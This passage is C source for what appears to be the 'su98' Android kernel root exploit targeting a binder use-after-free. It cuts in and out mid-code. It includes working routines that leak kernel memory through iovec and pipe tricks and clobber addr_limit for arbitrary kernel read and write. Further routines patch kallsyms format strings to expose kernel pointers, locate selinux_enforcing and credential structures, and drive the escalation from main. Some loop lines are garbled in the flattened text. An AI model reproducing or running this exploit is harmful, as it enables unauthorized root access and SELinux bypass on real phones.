iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = extraLeakAmount + UAF_SPINLOCK + 8; 331 | unsigned long totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); 332 | unsigned long maxLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); 333 | unsigned char *dataBuffer = malloc(maxLength); 334 | 335 | if (dataBuffer == NULL) 336 | error( "Allocating %ld bytes", maxLength); 337 | 338 | for (int i = 0; i < IOVEC_ARRAY_SZ; i++) 339 | if (iovec_array[i].iov_base == (unsigned long *)0xDEADBEEF) 340 | iovec_array[i].iov_base = dataBuffer; 341 | 342 | int b; 343 | int pipefd[2]; 344 | int leakPipe[2]; 345 | if (pipe(pipefd)) 346 | error( "pipe"); 347 | if (pipe(leakPipe)) 348 | err(2, "pipe"); 349 | if ((fcntl(pipefd[0], F_SETPIPE_SZ, PAGE)) != PAGE) 350 | error( "pipe size"); 351 | if ((fcntl(pipefd[1], F_SETPIPE_SZ, PAGE)) != PAGE) 352 | error( "pipe size"); 353 | 354 | pid_t fork_ret = fork(); 355 | if (fork_ret == -1) 356 | error( "fork"); 357 | if (fork_ret == 0) 358 | { 359 | /* Child process */ 360 | char childSuccess = 1; 361 | 362 | prctl(PR_SET_PDEATHSIG, SIGKILL); 363 | usleep(DELAY_USEC); 364 | message("CHILD: Doing EPOLL_CTL_DEL."); 365 | epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); 366 | message("CHILD: Finished EPOLL_CTL_DEL."); 367 | 368 | unsigned long size1 = paddingSize + UAF_SPINLOCK + minimumLeak; 369 | message("CHILD: initial portion length 0x%lx", size1); 370 | char buffer[size1]; 371 | memset(buffer, 0, size1); 372 | if (read(pipefd[0], buffer, size1) != size1) 373 | error( "reading first part of pipe"); 374 | 375 | memcpy(dataBuffer, buffer + size1 - minimumLeak, minimumLeak); 376 | 377 | int badPointer = 0; 378 | if (memcmp(dataBuffer, dataBuffer + 8, 8)) 379 | badPointer = 1; 380 | unsigned long addr = 0; 381 | memcpy(&addr, dataBuffer, 8); 382 | 383 | if (!isKernelPointer(addr)) { 384 | badPointer = 1; 385 | childSuccess = 0; 386 | } 387 | 388 | unsigned long task_struct_ptr = 0; 389 | 390 | memcpy(&task_struct_ptr, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8); 391 | message("CHILD: task_struct_ptr = 0x%lx", task_struct_ptr); 392 | 393 | if (!badPointer && (extraLeakAmount > 0 || task_struct_plus_8_p != NULL)) 394 | { 395 | unsigned long extra[6] = { 396 | addr, 397 | adjLeakAmount, 398 | extraLeakAddress, 399 | extraLeakAmount, 400 | task_struct_ptr + 8, 401 | 8}; 402 | message("CHILD: clobbering with extra leak structures"); 403 | if (clobber_data(addr, &extra, sizeof(extra))) 404 | message("CHILD: clobbered"); 405 | else { 406 | message("CHILD: **fail** iovec clobbering didn't work"); 407 | childSuccess = 0; 408 | } 409 | } 410 | 411 | errno = 0; 412 | if (read(pipefd[0], dataBuffer + minimumLeak, adjLeakAmount - minimumLeak) != adjLeakAmount - minimumLeak) 413 | error("leaking"); 414 | 415 | write(leakPipe[1], dataBuffer, adjLeakAmount); 416 | 417 | if (extraLeakAmount > 0) 418 | { 419 | message("CHILD: extra leak"); 420 | if (read(pipefd[0], extraLeakBuffer, extraLeakAmount) != extraLeakAmount) { 421 | childSuccess = 0; 422 | error( "extra leaking"); 423 | } 424 | write(leakPipe[1], extraLeakBuffer, extraLeakAmount); 425 | //hexdump_memory(extraLeakBuffer, (extraLeakAmount+15)/16*16); 426 | } 427 | if (task_struct_plus_8_p != NULL) 428 | { 429 | if (read(pipefd[0], dataBuffer, 8) != 8) { 430 | childSuccess = 0; 431 | error( "leaking second field of task_struct"); 432 | } 433 | message("CHILD: task_struct_ptr = 0x%lx", *(unsigned long *)dataBuffer); 434 | write(leakPipe[1], dataBuffer, 8); 435 | } 436 | write(leakPipe[1], &childSuccess, 1); 437 | 438 | close(pipefd[0]); 439 | close(pipefd[1]); 440 | close(leakPipe[0]); 441 | close(leakPipe[1]); 442 | message("CHILD: Finished write to FIFO."); 443 | 444 | if (badPointer) { 445 | errno = 0; 446 | message("CHILD: **fail** problematic address pointer, e.g., %lx", addr); 447 | } 448 | exit(0); 449 | } 450 | message("PARENT: soon will be calling WRITEV"); 451 | errno = 0; 452 | ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); 453 | b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ); 454 | message("PARENT: writev() returns 0x%x", (unsigned int)b); 455 | if (b != totalLength) { 456 | message( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength); 457 | success = 0; 458 | goto DONE; 459 | } 460 | 461 | message("PARENT: Reading leaked data"); 462 | 463 | b = read(leakPipe[0], dataBuffer, adjLeakAmount); 464 | if (b != adjLeakAmount) { 465 | message( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b, adjLeakAmount); 466 | success = 0; 467 | goto DONE; 468 | } 469 | 470 | if (leakAmount > 0) 471 | memcpy(leakBuffer, dataBuffer, leakAmount); 472 | 473 | if (extraLeakAmount != 0) 474 | { 475 | message("PARENT: Reading extra leaked data"); 476 | b = read(leakPipe[0], extraLeakBuffer, extraLeakAmount); 477 | if (b != extraLeakAmount) { 478 | message( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%lx", b, extraLeakAmount); 479 | success = 0; 480 | goto DONE; 481 | } 482 | } 483 | 484 | if (task_struct_plus_8_p != NULL) 485 | { 486 | if (read(leakPipe[0], task_struct_plus_8_p, 8) != 8) { 487 | message( "PARENT: **fail** reading leaked task_struct at offset 8"); 488 | success = 0; 489 | goto DONE; 490 | } 491 | } 492 | 493 | char childSucceeded=0; 494 | 495 | read(leakPipe[0], &childSucceeded, 1); 496 | if (!childSucceeded) 497 | success = 0; 498 | 499 | 500 | if (task_struct_ptr_p != NULL) 501 | memcpy(task_struct_ptr_p, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8); 502 | 503 | DONE: 504 | close(pipefd[0]); 505 | close(pipefd[1]); 506 | close(leakPipe[0]); 507 | close(leakPipe[1]); 508 | 509 | int status; 510 | wait(&status); 511 | //if (wait(&status) != fork_ret) error( "wait"); 512 | 513 | free(dataBuffer); 514 | 515 | if (success) 516 | message("PARENT: leaking successful"); 517 | 518 | return success; 519 | } 520 | 521 | int leak_data_retry(void *leakBuffer, int leakAmount, 522 | unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount, 523 | unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) { 524 | int try = 0; 525 | while (try < RETRIES && !leak_data(leakBuffer, leakAmount, extraLeakAddress, extraLeakBuffer, extraLeakAmount, task_struct_ptr_p, task_struct_plus_8_p)) { 526 | message("MAIN: **fail** retrying"); 527 | try++; 528 | } 529 | if (0 < try && try < RETRIES) 530 | message("MAIN: it took %d tries, but succeeded", try); 531 | return try < RETRIES; 532 | } 533 | 534 | int clobber_data_retry(unsigned long payloadAddress, const void *src, unsigned long payloadLength) { 535 | int try = 0; 536 | while (try < RETRIES && !clobber_data(payloadAddress, src, payloadLength)) { 537 | message("MAIN: **fail** retrying"); 538 | try++; 539 | } 540 | if (0 < try && try < RETRIES) 541 | message("MAIN: it took %d tries, but succeeded", try); 542 | return try < RETRIES; 543 | } 544 | 545 | 546 | int kernel_rw_pipe[2]; 547 | 548 | struct kernel_buffer { 549 | unsigned char pageBuffer[PAGE]; 550 | unsigned long pageBufferOffset; 551 | } kernel_buffer = { .pageBufferOffset = 0 }; 552 | 553 | void reset_kernel_pipes() 554 | { 555 | kernel_buffer.pageBufferOffset = 0; 556 | close(kernel_rw_pipe[0]); 557 | close(kernel_rw_pipe[1]); 558 | if (pipe(kernel_rw_pipe)) 559 | error( "kernel_rw_pipe"); 560 | } 561 | 562 | int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len) 563 | { 564 | if (len > PAGE) 565 | error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); 566 | if (write(kernel_rw_pipe[1], buf, len) != len || 567 | read(kernel_rw_pipe[0], (void *)kaddr, len) != len) 568 | { 569 | reset_kernel_pipes(); 570 | return 0; 571 | } 572 | return len; 573 | } 574 | 575 | void kernel_write(unsigned long kaddr, void *buf, unsigned long len) 576 | { 577 | if (len != raw_kernel_write(kaddr, buf, len)) 578 | error( "error with kernel writing"); 579 | } 580 | 581 | int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len) 582 | { 583 | if (len > PAGE) 584 | error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); 585 | if (write(kernel_rw_pipe[1], (void *)kaddr, len) != len || read(kernel_rw_pipe[0], buf, len) != len) 586 | { 587 | reset_kernel_pipes(); 588 | return 0; 589 | } 590 | return len; 591 | } 592 | 593 | void kernel_read(unsigned long kaddr, void *buf, unsigned long len) 594 | { 595 | if (len > PAGE) 596 | error( "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len); 597 | if (len != raw_kernel_read(kaddr, buf, len)) 598 | message( "error with kernel reading"); 599 | } 600 | 601 | unsigned char kernel_read_uchar(unsigned long offset) { 602 | if (kernel_buffer.pageBufferOffset == 0 || offset < kernel_buffer.pageBufferOffset || kernel_buffer.pageBufferOffset+PAGE <= offset) { 603 | kernel_buffer.pageBufferOffset = offset & ~(PAGE-1); 604 | kernel_read(kernel_buffer.pageBufferOffset, kernel_buffer.pageBuffer, PAGE); 605 | } 606 | return kernel_buffer.pageBuffer[offset-kernel_buffer.pageBufferOffset]; 607 | } 608 | 609 | unsigned long kernel_read_ulong(unsigned long kaddr) 610 | { 611 | unsigned long data; 612 | kernel_read(kaddr, &data, sizeof(data)); 613 | return data; 614 | } 615 | unsigned long kernel_read_uint(unsigned long kaddr) 616 | { 617 | unsigned int data; 618 | kernel_read(kaddr, &data, sizeof(data)); 619 | return data; 620 | } 621 | void kernel_write_ulong(unsigned long kaddr, unsigned long data) 622 | { 623 | kernel_write(kaddr, &data, sizeof(data)); 624 | } 625 | void kernel_write_uint(unsigned long kaddr, unsigned int data) 626 | { 627 | kernel_write(kaddr, &data, sizeof(data)); 628 | } 629 | void kernel_write_uchar(unsigned long kaddr, unsigned char data) 630 | { 631 | kernel_write(kaddr, &data, sizeof(data)); 632 | } 633 | 634 | // code from DrZener 635 | unsigned long findSelinuxEnforcingFromAvcDenied(unsigned long avc_denied_address) 636 | { 637 | unsigned long address; 638 | unsigned long selinux_enforcing_address; 639 | bool adrp_found = 0; 640 | for(address = avc_denied_address; address <= avc_denied_address + 0x60; address += 4) 641 | { 642 | unsigned int instruction = kernel_read_uint(address); 643 | 644 | if(!adrp_found) 645 | { 646 | unsigned int instruction_masked = instruction; 647 | instruction_masked >>= 24; 648 | instruction_masked &= 0x9F; 649 | if((instruction_masked ^ 0x90) == 0 ) 650 | { 651 | selinux_enforcing_address = address; 652 | unsigned int imm_hi, imm_lo, imm; 653 | imm_hi = (instruction >> 5) & 0x7FFFF; 654 | imm_lo = (instruction >> 29) & 3; 655 | imm = ((imm_hi << 2) | imm_lo) << 12; 656 | selinux_enforcing_address &= 0xFFFFFFFFFFFFF000; 657 | selinux_enforcing_address += imm; 658 | adrp_found = 1; 659 | } 660 | } 661 | if (adrp_found) 662 | { 663 | unsigned int instruction_masked = instruction; 664 | instruction_masked >>= 22; 665 | instruction_masked &= 0x2FF; 666 | if((instruction_masked ^ 0x2E5) == 0 ) 667 | { 668 | unsigned int offset = ((instruction >> 10) & 0xFFF) << 2; 669 | selinux_enforcing_address += offset; 670 | message("selinux_enforcing address found"); 671 | return selinux_enforcing_address; 672 | } 673 | } 674 | } 675 | message("selinux_enforcing address not found"); 676 | return 0UL; 677 | } 678 | 679 | // Make the kallsyms module not check for permission to list symbol addresses 680 | int fixKallsymsFormatStrings(unsigned long start) 681 | { 682 | errno = 0; 683 | 684 | int found = 0; 685 | 686 | start &= ~(PAGE - 1); 687 | 688 | unsigned long searchTarget; 689 | 690 | memcpy(&searchTarget, "%pK %c %", 8); 691 | 692 | int backwards = 1; 693 | int forwards = 1; 694 | int direction = 1; 695 | unsigned long forwardAddress = start; 696 | unsigned long backwardAddress = start - PAGE; 697 | unsigned long page[PAGE / 8]; 698 | 699 | message("MAIN: searching for kallsyms format strings"); 700 | 701 | while ((backwards || forwards) && found < 2) 702 | { 703 | unsigned long address = direction > 0 ? forwardAddress : backwardAddress; 704 | 705 | if (address < 0xffffffc000000000ul || address >= 0xffffffd000000000ul || raw_kernel_read(address, page, PAGE) != PAGE) 706 | { 707 | if (direction > 0) 708 | forwards = 0; 709 | else 710 | backwards = 0; 711 | } 712 | else 713 | { 714 | for (int i = 0; i < PAGE / 8; i++) 715 | if (page[i] == searchTarget) 716 | { 717 | unsigned long a = address + 8 * i; 718 | 719 | char fmt[16]; 720 | 721 | kernel_read(a, fmt, 16); 722 | 723 | if (!strcmp(fmt, "%pK %c %s\t[%s]\x0A")) 724 | { 725 | message("MAIN: patching longer version at %lx", a); 726 | if (15 != raw_kernel_write(a, "%p %c %s\t[%s]\x0A", 15)) { 727 | message("MAIN: **fail** probably you have read-only const storage"); 728 | return found; 729 | } 730 | found++; 731 | } 732 | else if (!strcmp(fmt, "%pK %c %s\x0A")) 733 | { 734 | message("MAIN: patching shorter version at %lx", a); 735 | if (15 != raw_kernel_write(a, "%p %c %s\x0A", 10)) { 736 | message("MAIN: **fail** probably you have read-only const storage"); 737 | return found; 738 | } 739 | found++; 740 | } 741 | 742 | if (found >= 2) 743 | return 2; 744 | } 745 | } 746 | 747 | if (direction > 0) 748 | forwardAddress += PAGE; 749 | else 750 | backwardAddress -= PAGE; 751 | 752 | direction = -direction; 753 | 754 | if (direction < 0 && !backwards) 755 | { 756 | direction = 1; 757 | } 758 | else if (direction > 0 && !forwards) 759 | { 760 | direction = -1; 761 | } 762 | } 763 | 764 | return found; 765 | } 766 | 767 | int verifyCred(unsigned long cred_ptr) { 768 | unsigned uid; 769 | if (cred_ptr < 0xffffff0000000000ul || 4 != raw_kernel_read(cred_ptr+OFFSET__cred__uid, &uid, 4)) 770 | return 0; 771 | return uid == getuid(); 772 | } 773 | 774 | int getCredOffset(unsigned char* task_struct_data) { 775 | char taskname[16]; 776 | unsigned n = MIN(strlen(myName)+1, 16); 777 | memcpy(taskname, myName, n); 778 | taskname[15] = 0; 779 | 780 | for (int i=OFFSET__task_struct__stack+8; iseccomp_status == seccompStatus && isKernelPointer(p->seccomp_filter)) { 805 | if (p->child_exe == p->parent_exe + 1) { 806 | return i; 807 | } 808 | else { 809 | if (firstGuess < 0) 810 | firstGuess = i; 811 | } 812 | } 813 | } 814 | 815 | return firstGuess; 816 | } 817 | 818 | unsigned long countIncreasingEntries(unsigned long start) { 819 | unsigned long count = 1; 820 | unsigned long prev = kernel_read_ulong(start); 821 | do { 822 | start += 8; 823 | unsigned long v = kernel_read_ulong(start); 824 | if (v < prev) 825 | return count; 826 | count++; 827 | } while(1); 828 | } 829 | 830 | int increasing(unsigned long* location, unsigned n) { 831 | for (int i=0; i location[i+1]) 833 | return 0; 834 | return 1; 835 | } 836 | 837 | int find_kallsyms_addresses(unsigned long searchStart, unsigned long searchEnd, unsigned long* startP, unsigned long* countP) { 838 | if (searchStart == 0) 839 | searchStart = KERNEL_BASE; 840 | if (searchEnd == 0) 841 | searchEnd = searchStart + 0x5000000; 842 | unsigned long foundStart = 0; 843 | 844 | unsigned char page[PAGE]; 845 | for (unsigned long i=searchStart; i= 40000) { 851 | *startP = i+j; 852 | *countP = count; 853 | return 1; 854 | } 855 | /*else if (count >= 10000) { 856 | message("MAIN: interesting, found a sequence of 10000 non-decreasing entries at 0x%lx", (i+j)); 857 | }*/ 858 | } 859 | } 860 | } 861 | return 0; 862 | } 863 | 864 | int get_kallsyms_name(unsigned long offset, char* name) { 865 | unsigned char length = kernel_read_uchar(offset++); 866 | 867 | for (unsigned char i = 0; i < length ; i++) { 868 | int index = kallsyms.token_index_data[kernel_read_uchar(offset++)]; 869 | int n = strlen(kallsyms.token_table_data+index); 870 | memcpy(name, kallsyms.token_table_data+index, n); 871 | name += n; 872 | } 873 | *name = 0; 874 | 875 | return 1+length; 876 | } 877 | 878 | int loadKallsyms() { 879 | if (have_kallsyms) 880 | 881 | return 1; 882 | if (!find_kallsyms_addresses(0, 0, &kallsyms.addresses, &kallsyms.num_syms)) 883 | return 0; 884 | 885 | message("MAIN: kallsyms names start at 0x%lx and have %ld entries", kallsyms.addresses, kallsyms.num_syms); 886 | unsigned long offset = kallsyms.addresses + 8 * kallsyms.num_syms; 887 | 888 | message("MAIN: kallsyms names end at 0x%lx", offset); 889 | struct kernel_buffer buf = {.pageBufferOffset = 0}; 890 | unsigned long ost=offset; 891 | offset = (offset + 0xFFul) & ~0xFFul; 892 | 893 | unsigned long count = kernel_read_ulong(offset); 894 | offset += 8; 895 | 896 | if (count != kallsyms.num_syms) { 897 | message("MAIN: **fail** kallsym entry count mismatch %ld", count); 898 | have_base=1; 899 | return 0; 900 | } 901 | 902 | offset = (offset + 0xFFul) & ~0xFFul; 903 | 904 | kallsyms.names = offset; 905 | 906 | for (unsigned long i = 0 ; i < kallsyms.num_syms ; i++) { 907 | unsigned char len = kernel_read_uchar(offset++); 908 | offset += len; 909 | } 910 | 911 | offset = (offset + 0xFF) & ~0xFFul; 912 | 913 | kallsyms.markers = offset; 914 | 915 | offset += 8 * ((kallsyms.num_syms + 255ul) / 256ul); 916 | 917 | offset = (offset + 0xFF) & ~0xFFul; 918 | 919 | kallsyms.token_table = offset; 920 | 921 | int tokens = 0; 922 | 923 | while (tokens < 256) { 924 | if (kernel_read_uchar(offset++) == 0) 925 | tokens++; 926 | } 927 | 928 | unsigned long token_table_length = offset - kallsyms.token_table; 929 | 930 | kallsyms.token_table_data = malloc(token_table_length); 931 | 932 | errno = 0; 933 | if (kallsyms.token_table_data == NULL) 934 | error("allocating token table"); 935 | 936 | for (unsigned long i = 0 ; i < token_table_length ; i++) 937 | kallsyms.token_table_data[i] = kernel_read_uchar(kallsyms.token_table + i); 938 | 939 | offset = (offset + 0xFF) & ~0xFFul; 940 | 941 | kernel_read(offset, kallsyms.token_index_data, sizeof(kallsyms.token_index_data)); 942 | 943 | have_kallsyms = 1; 944 | 945 | return 1; 946 | } 947 | 948 | unsigned long findSymbol_memory_search(char* symbol) { 949 | message("MAIN: searching for kallsyms table"); 950 | if (! loadKallsyms()) { 951 | message("MAIN: **fail** cannot find kallsyms table"); 952 | return 0; 953 | } 954 | 955 | unsigned long offset = kallsyms.names; 956 | char name[KSYM_NAME_LEN]; 957 | unsigned n = strlen(symbol); 958 | 959 | for(unsigned long i = 0; i < kallsyms.num_syms; i++) { 960 | unsigned int n1 = get_kallsyms_name(offset, name); 961 | if (!strncmp(name+1, symbol, n) && (name[1+n] == '.' || !name[1+n])) { 962 | unsigned long address = kernel_read_ulong(kallsyms.addresses + i*8); 963 | message( "MAIN: found %s in kernel memory at %lx", symbol, address); 964 | 965 | return address; 966 | } 967 | offset += n1; 968 | } 969 | 970 | return 0; 971 | } 972 | 973 | char* allocateSymbolCachePathName(char* symbol) { 974 | int n = strlen(myPath); 975 | 976 | char* pathname = malloc(strlen(symbol)+7+1+n); 977 | if (pathname == NULL) { 978 | errno = 0; 979 | error("allocating memory for pathname"); 980 | } 981 | strcpy(pathname, myPath); 982 | strcat(pathname, symbol); 983 | strcat(pathname, ".symbol"); 984 | 985 | return pathname; 986 | } 987 | 988 | unsigned long findSymbol_in_cache(char* symbol) { 989 | char* pathname = allocateSymbolCachePathName(symbol); 990 | unsigned long address = 0; 991 | 992 | FILE *cached = fopen(pathname, "r"); 993 | if (cached != NULL) { 994 | fscanf(cached, "%lx", &address); 995 | fclose(cached); 996 | } 997 | 998 | free(pathname); 999 | 1000 | return address; 1001 | } 1002 | 1003 | void cacheSymbol(char* symbol, unsigned long address) { 1004 | #ifdef KALLSYMS_CACHING 1005 | if (address != 0 && address != findSymbol_in_cache(symbol)) { 1006 | char* pathname = allocateSymbolCachePathName(symbol); 1007 | FILE *cached = fopen(pathname, "w"); 1008 | if (cached != NULL) { 1009 | fprintf(cached, "%lx\n", address); 1010 | fclose(cached); 1011 | char* cmd = alloca(10+strlen(pathname)+1); 1012 | sprintf(cmd, "chmod 666 %s", pathname); 1013 | system(cmd); 1014 | message("cached %s", pathname); 1015 | } 1016 | free(pathname); 1017 | } 1018 | #endif 1019 | } 1020 | 1021 | unsigned long findSymbol(unsigned long pointInKernelMemory, char *symbol) 1022 | { 1023 | unsigned long address = 0; 1024 | 1025 | #ifdef KALLSYMS_CACHING 1026 | address = findSymbol_in_cache(symbol); 1027 | if (address != 0) 1028 | return address; 1029 | #endif 1030 | 1031 | #ifndef PROC_KALLSYMS 1032 | address = findSymbol_memory_search(symbol); 1033 | #else 1034 | char buf[1024]; 1035 | buf[0] = 0; 1036 | errno = 0; 1037 | 1038 | FILE *ks = fopen("/proc/kallsyms", "r"); 1039 | if (ks == NULL) { 1040 | return findSymbol_memory_search(symbol); 1041 | } 1042 | fgets(buf, 1024, ks); 1043 | if (ks != NULL) 1044 | fclose(ks); 1045 | 1046 | if ( (buf[0] == 0 || strncmp(buf, "0000000000000000", 16) == 0) && fixKallsymsFormatStrings(pointInKernelMemory) == 0) 1047 | { 1048 | message( "MAIN: **partial failure** cannnot fix kallsyms format string"); 1049 | address = findSymbol_memory_search(symbol); 1050 | } 1051 | else { 1052 | ks = fopen("/proc/kallsyms", "r"); 1053 | while (NULL != fgets(buf, sizeof(buf), ks)) 1054 | { 1055 | unsigned long a; 1056 | unsigned char type; 1057 | unsigned n = strlen(symbol); 1058 | char sym[1024]; 1059 | sscanf(buf, "%lx %c %s", &a, &type, sym); 1060 | if (!strncmp(sym, symbol, n) && (sym[n]=='.' || !sym[n])) { 1061 | message( "found %s in /proc/kallsyms", sym); 1062 | address = a; 1063 | break; 1064 | } 1065 | } 1066 | 1067 | fclose(ks); 1068 | } 1069 | #endif 1070 | 1071 | return address; 1072 | } 1073 | void kptrLeak(unsigned long task_struct_ptr) { 1074 | for (int i=0; i0xffffff0000000000){ 1076 | message("searching at 0x%lx",kernel_read_ulong(task_struct_ptr+i-8)); 1077 | unsigned long bk_search_base=search_base; 1078 | search_base=kernel_read_ulong(task_struct_ptr+i-8); 1079 | loadKallsyms(); 1080 | if(have_base==0){search_base=bk_search_base;} 1081 | have_base=0; 1082 | } 1083 | } 1084 | message("kptrLeak finished"); 1085 | return; 1086 | } 1087 | void checkKernelVersion() { 1088 | kernel3 = 1; 1089 | FILE *k = fopen("/proc/version", "r"); 1090 | if (k != NULL) { 1091 | char buf[1024]=""; 1092 | fgets(buf, sizeof(buf), k); 1093 | if (NULL != strstr(buf, "Linux version 4")) 1094 | kernel3 = 0; 1095 | } 1096 | if (kernel3) message("MAIN: detected kernel version 3"); 1097 | else message("MAIN: detected kernel version other than 3"); 1098 | } 1099 | 1100 | void getPackageName(unsigned uid, char* packageName) { 1101 | if (uid == 2000) { 1102 | strcpy(packageName, "adb"); 1103 | return; 1104 | } 1105 | else if (uid == 0) { 1106 | strcpy(packageName, "root"); 1107 | return; 1108 | } 1109 | strcpy(packageName, "(unknown)"); 1110 | FILE* f = fopen("/data/system/packages.list", "r"); 1111 | if (f == NULL) 1112 | return; 1113 | unsigned id; 1114 | char pack[MAX_PACKAGE_NAME]; 1115 | while(2 == fscanf(f, "%s %u%*[^\n]", pack, &id)) { 1116 | if (id == uid) { 1117 | strncpy(packageName, pack, MAX_PACKAGE_NAME); 1118 | packageName[MAX_PACKAGE_NAME-1] = 0; 1119 | goto DONE; 1120 | } 1121 | } 1122 | DONE: 1123 | fclose(f); 1124 | } 1125 | 1126 | int checkWhitelist(unsigned uid) { 1127 | if (uid == 0 || uid == 2000) 1128 | return 1; 1129 | 1130 | char *path = alloca(strlen(myPath) + sizeof(whitelist)); 1131 | strcpy(path, myPath); 1132 | strcat(path, whitelist); 1133 | 1134 | FILE* wl = fopen(path, "r"); 1135 | 1136 | if (wl == NULL) { 1137 | message("MAIN: no whitelist, so all callers are welcome"); 1138 | return 1; 1139 | } 1140 | 1141 | char parent[MAX_PACKAGE_NAME]; 1142 | getPackageName(uid, parent); 1143 | 1144 | int allowed = 0; 1145 | 1146 | char line[512]; 1147 | while (NULL != fgets(line, sizeof(line), wl)) { 1148 | line[sizeof(line)-1] = 0; 1149 | char* p = line; 1150 | while (*p && isspace(*p)) 1151 | p++; 1152 | char*q = p + strlen(p) - 1; 1153 | while (p < q && isspace(*q)) 1154 | *q-- = 0; 1155 | if (q <= p) 1156 | continue; 1157 | if (*q == '*') { 1158 | if (!strncmp(parent, p, q-p-1)) { 1159 | allowed = 1; 1160 | goto DONE; 1161 | } 1162 | } 1163 | else if (!strcmp(parent,p)) { 1164 | allowed = 1; 1165 | goto DONE; 1166 | } 1167 | } 1168 | 1169 | DONE: 1170 | fclose(wl); 1171 | 1172 | if (allowed) 1173 | message("MAIN: whitelist allows %s", parent); 1174 | else { 1175 | if (parent[0]) { 1176 | char *path = alloca(strlen(myPath) + sizeof(denyfile)); 1177 | strcpy(path, myPath); 1178 | strcat(path, denyfile); 1179 | FILE* f = fopen(path, "a"); 1180 | if (f != NULL) { 1181 | fprintf(f, "%s\n", parent); 1182 | fclose(f); 1183 | } 1184 | } 1185 | } 1186 | 1187 | return allowed; 1188 | } 1189 | 1190 | /* for devices with randomized thread_info location on stack: thanks to chompie1337 */ 1191 | unsigned long find_thread_info_ptr_kernel3(unsigned long kstack) { 1192 | unsigned long kstack_data[16384/8]; 1193 | 1194 | message("MAIN: parsing kernel stack to find thread_info"); 1195 | if (!leak_data_retry(NULL, 0, kstack, kstack_data, sizeof(kstack_data), NULL, NULL)) 1196 | error("Cannot leak kernel stack"); 1197 | 1198 | for (unsigned int pos = 0; pos < sizeof(kstack_data)/8; pos++) 1199 | if (kstack_data[pos] == USER_DS) 1200 | return kstack+pos*8-8; 1201 | 1202 | return 0; 1203 | } 1204 | 1205 | unsigned long find_selinux_enforcing(unsigned long search_base) { 1206 | unsigned long address = findSymbol(search_base, "selinux_enforcing"); 1207 | if (address == 0) { 1208 | message("MAIN: direct search didn't work, so searching via avc_denied"); 1209 | address = findSymbol(search_base, "avc_denied"); 1210 | if (address == 0) 1211 | return 0; 1212 | address = findSelinuxEnforcingFromAvcDenied(address); 1213 | } 1214 | return address; 1215 | } 1216 | 1217 | int main(int argc, char **argv) 1218 | { 1219 | int command = 0; 1220 | int dump = 0; 1221 | int rejoinNS = 1; 1222 | 1223 | char result[PATH_MAX]; 1224 | ssize_t count = readlink("/proc/self/exe", result, PATH_MAX); 1225 | char* p = strrchr(result, '/'); 1226 | if (p == NULL) 1227 | p = result; 1228 | else 1229 | p++; 1230 | *p = 0; 1231 | myPath = result; 1232 | 1233 | p = strrchr(argv[0], '/'); 1234 | if (p == NULL) 1235 | p = argv[0]; 1236 | else 1237 | p++; 1238 | 1239 | myName = p; 1240 | int n = p-argv[0]; 1241 | 1242 | if (!strcmp(myName,"su")) { 1243 | quiet = 1; 1244 | } 1245 | while(argc >= 2 && argv[1][0] == '-') { 1246 | switch(argv[1][1]) { 1247 | case 'q': 1248 | quiet = 1; 1249 | break; 1250 | case 'v': 1251 | puts("su98 version 0.01"); 1252 | exit(0); 1253 | break; 1254 | case 'c': 1255 | command = 1; 1256 | quiet = 1; 1257 | break; 1258 | case 'd': 1259 | dump = 1; 1260 | break; 1261 | case 'N': 1262 | rejoinNS = 0; 1263 | break; 1264 | default: 1265 | break; 1266 | } 1267 | for (int i=1; i= 2) 1273 | quiet = 1; 1274 | 1275 | checkKernelVersion(); 1276 | 1277 | message("MAIN: starting exploit for devices with waitqueue at 0x98"); 1278 | 1279 | if (pipe(kernel_rw_pipe)) 1280 | error( "kernel_rw_pipe"); 1281 | 1282 | binder_fd = open("/dev/binder", O_RDONLY); 1283 | epfd = epoll_create(1000); 1284 | 1285 | unsigned long task_struct_plus_8 = 0xDEADBEEFDEADBEEFul; 1286 | unsigned long task_struct_ptr = 0xDEADBEEFDEADBEEFul; 1287 | 1288 | if (!leak_data_retry(NULL, 0, 0, NULL, 0, &task_struct_ptr, &task_struct_plus_8)) { 1289 | error("Failed to leak data"); 1290 | } 1291 | 1292 | unsigned long thread_info_ptr; 1293 | 1294 | if (task_struct_plus_8 == USER_DS) { 1295 | message("MAIN: thread_info is in task_struct"); 1296 | thread_info_ptr = task_struct_ptr; 1297 | } 1298 | else { 1299 | message("MAIN: thread_info should be in stack"); 1300 | thread_info_ptr = find_thread_info_ptr_kernel3(task_struct_plus_8); 1301 | if (thread_info_ptr == 0) 1302 | error("cannot find thread_info on kernel stack"); 1303 | } 1304 | 1305 | message("MAIN: task_struct_ptr = %lx", (unsigned long)task_struct_ptr); 1306 | message("MAIN: thread_info_ptr = %lx", (unsigned long)thread_info_ptr); 1307 | message("MAIN: Clobbering addr_limit"); 1308 | unsigned long const src = 0xFFFFFFFFFFFFFFFEul; 1309 | 1310 | if (!clobber_data_retry(thread_info_ptr + 8, &src, 8)) { 1311 | error("Failed to clobber addr_limit"); 1312 | } 1313 | 1314 | message("MAIN: thread_info = 0x%lx", thread_info_ptr); 1315 | 1316 | setbuf(stdout, NULL); 1317 | message("MAIN: should have stable kernel R/W now"); 1318 | 1319 | if (dump) { 1320 | unsigned long start, count; 1321 | start = 0xffffffc000000000ul; 1322 | count = 0x1000; 1323 | 1324 | if (argc >= 2) 1325 | sscanf(argv[1], "%lx", &start); 1326 | 1327 | start &= ~7; 1328 | 1329 | if (argc >= 3) 1330 | sscanf(argv[2], "%lx", &count); 1331 | unsigned long search = 0; 1332 | 1333 | int emit = 0; 1334 | 1335 | if (argc >= 4) 1336 | 